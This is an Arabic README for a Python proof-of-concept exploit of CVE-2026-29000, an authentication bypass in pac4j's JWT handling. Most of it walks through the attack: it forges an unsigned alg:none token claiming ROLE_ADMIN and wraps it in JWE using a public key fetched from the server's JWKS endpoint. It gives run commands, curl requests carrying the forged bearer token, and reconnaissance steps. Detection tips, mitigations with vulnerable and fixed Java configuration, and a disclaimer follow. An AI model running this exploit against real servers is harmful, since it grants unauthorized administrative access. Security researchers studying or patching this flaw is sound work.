
Python POC، استغلال لـ CVE-2026-29000
إثبات المفهوم لـ CVE-2026-29000 - ثغرة أمنية حرجة في تجاوز المصادقة في تنفيذ pac4j لـ JWT تسمح للمهاجمين بتزوير رموز المدير دون توقيع صالح.
هذه الأداة مقدمة لأغراض تعليمية واختبارات أمنية مرخصة فقط. لا يتحمل المؤلف أي مسؤولية عن أي سوء استخدام أو ضرر أو استخدام غير قانوني لهذا الاستغلال.
تستغل هذه الثغرة خللاً في آلية مصادقة JWT في pac4j حيث تقوم المكتبة بما يلي:
alg: "none" في رأس JWTيمكن للمهاجم صياغة JWT غير موقع مع مطالبات عشوائية (مثل role: "ROLE_ADMIN")، وتشفيرها في حاوية JWE باستخدام المفتاح العام للخادم، والحصول على وصول غير مصرح به إلى وظائف المدير.
لكي ينجح هذا الاستغلال، يجب أن يستوفي الخادم الهدف جميع الشروط التالية:
يجب أن يعرض الخادم مفاتيحه العامة عبر إحدى هذه النقاط النهائية:
/.well-known/jwks.json (نقطة نهاية OAuth/OIDC القياسية)/api/auth/jwks (نقطة نهاية مخصصة)السبب: يقوم الاستغلال تلقائياً بجلب المفتاح العام للخادم لتشفير رمز JWE المزور.
يجب أن يقوم الخادم بما يلي:
role في حمولة JWTROLE_ADMIN)الأدوار الشائعة:
ROLE_ADMIN - وصول إداري كاملROLE_USER - وصول مستخدم قياسييجب أن يقوم الخادم بما يلي:
يجب أن يستخدم التطبيق pac4j مع:
"none" أو التحقق غير كافٍ من الخوارزميةrequests, jwcrypto# استنساخ المستودع
git clone https://github.com/yourusername/CVE-2026-29000.git
cd CVE-2026-29000
# تثبيت التبعيات
pip install -r requirements.txt
requests>=2.28.0
jwcrypto>=1.4.0
python3 exploit.py <TARGET_URL>
مثال:
python3 exploit.py http://vulnerable-app.local:8080
سيقوم السكربت بما يلي:
role: "ROLE_ADMIN"python3 exploit.py http://vulnerable-app.local:8080 --username john
python3 exploit.py http://vulnerable-app.local:8080 --role ROLE_MODERATOR
إذا كانت نقطة نهاية JWKS غير متاحة للجمهور، قم بتوفير JWK يدوياً:
python3 exploit.py http://vulnerable-app.local:8080 \
--jwk '{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}'
python3 exploit.py http://vulnerable-app.local:8080 \
--username hacker \
--role ROLE_ADMIN \
--jwk '{"keys":[{...}]}'
يقوم الاستغلال بإخراج رمز JWE بالتنسيق التالي:
Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0...
استخدم الرمز في طلبات HTTP للوصول إلى النقاط النهائية المحمية:
# باستخدام curl
curl -H "Authorization: Bearer <JWE_TOKEN>" \
http://vulnerable-app.local:8080/api/admin/dashboard
# باستخدام طلبات Python
import requests
headers = {"Authorization": f"Bearer {jwe_token}"}
response = requests.get("http://vulnerable-app.local:8080/api/admin", headers=headers)
curl -H "Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0..." \
http://vulnerable-app.local:8080/api/users/list
header = {"alg": "none", "type": "JWT"}
payload = {
"sub": "admin", # اسم المستخدم
"role": "ROLE_ADMIN", # مستوى الصلاحية
"iss": "principal-platform", # المصدر
"iat": 1234567890, # وقت الإصدار
"exp": 1234571490 # وقت الانتهاء (ساعة واحدة)
}
يتم إنشاء JWT بدون توقيع (alg: "none")، وهو أمر غير صالح عادة ولكن يتم قبوله من قبل الخوادم الضعيفة.
يقوم الاستغلال بالاستعلام عن:
/.well-known/jwks.json (قياسي لـ OAuth/OIDC)/api/auth/jwks (نقطة نهاية مخصصة)يؤدي هذا إلى استرداد المفتاح العام RSA للخادم اللازم للتشفير.
يتم تشفير JWT غير الموقع باستخدام:
يؤدي هذا إلى إنشاء رمز JWE يمكن للخادم فك تشفيره لكنه لن يتحقق من التوقيع الداخلي.
يتم تضمين رمز JWE في رأس Authorization:
Authorization: Bearer <JWE_TOKEN>
يقوم الخادم الضعيف بفك تشفيره واستخراج JWT غير الموقع، ويثق في المطالبات دون التحقق من التوقيع.
Unsigned JWT (alg:none)
↓
Wraps in JWE (with server's public key)
↓
Server receives JWE token
↓
Server decrypts JWE
↓
Extracts inner unsigned JWT
↓
❌ Server does NOT verify signature
↓
✅ Accepts claims as valid (role: ROLE_ADMIN)
↓
Attacker has admin access!
تعرض نقطة نهاية JWKS
/.well-known/jwks.json أو /api/auth/jwks متاحاً للعامةسجلات التحقق من JWT
alg: "none"مراجعة التكوين
# الاستطلاع
curl -s http://target:8080/.well-known/jwks.json | jq .
curl -s http://target:8080/api/auth/jwks | jq .
# تحقق مما إذا كانت رموز JWE مقبولة
curl -H "Authorization: Bearer eyJ..." http://target:8080/api/protected
فرض التحقق من التوقيع
// سيئ - يقبل الرموز غير الموقعة
JwtAuthenticator jwt = new JwtAuthenticator();
jwt.setAlgorithm(null); // ❌ ضعيف
// جيد - يتطلب توقيعاً صالحاً
JwtAuthenticator jwt = new JwtAuthenticator(publicKey);
jwt.setAlgorithmsAllowedForSigning(Arrays.asList("RS256")); // ✅ آمن
التحقق من خوارزمية JWT
alg: "none"تعطيل JWE إذا لم يكن مطلوباً
تحديث pac4j
إضافة طبقات تحقق من الرمز
exp)iss)تقييد الوصول إلى نقطة نهاية JWKS
location /.well-known/jwks.json {
allow 10.0.0.0/8; # الشبكات الداخلية فقط
deny all;
}
مراقبة سجلات المصادقة
alg: "none"تقسيم الشبكة
مراجعات أمنية دورية
@Configuration
public class SecurityConfig {
@Bean
public JwtAuthenticator jwtAuthenticator() {
JwtAuthenticator authenticator = new JwtAuthenticator();
// ❌ ضعيف: لا يوجد التحقق من التوقيع
authenticator.setAlgorithmsAllowedForSigning(null);
authenticator.setJwtClaimsValidation(false);
return authenticator;
}
@Bean
public JWEEncrypter encrypter() {
// يقبل JWE لكن لا يتحقق من JWT الداخلي
return new JWEEncrypter();
}
}
يتم توفير هذا الاستغلال لأغراض تعليمية واختبارات أمنية مرخصة فقط.
الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. يجب استخدام هذه الأداة فقط على:
المؤلفون غير مسؤولين عن سوء الاستخدام أو الضرر الناجم عن هذه الأداة.
رخصة MIT - انظر ملف LICENSE للحصول على التفاصيل
وجدت خطأ؟ لديك تحسينات؟
git checkout -b feature/improvement)git commit -m 'إضافة تحسين')git push origin feature/improvement)للاستفسارات والأسئلة والاقتراحات:
آخر تحديث: مايو 2026
المؤلف: فريق البحث الأمني
الحالة: إثبات مفهوم تعليمي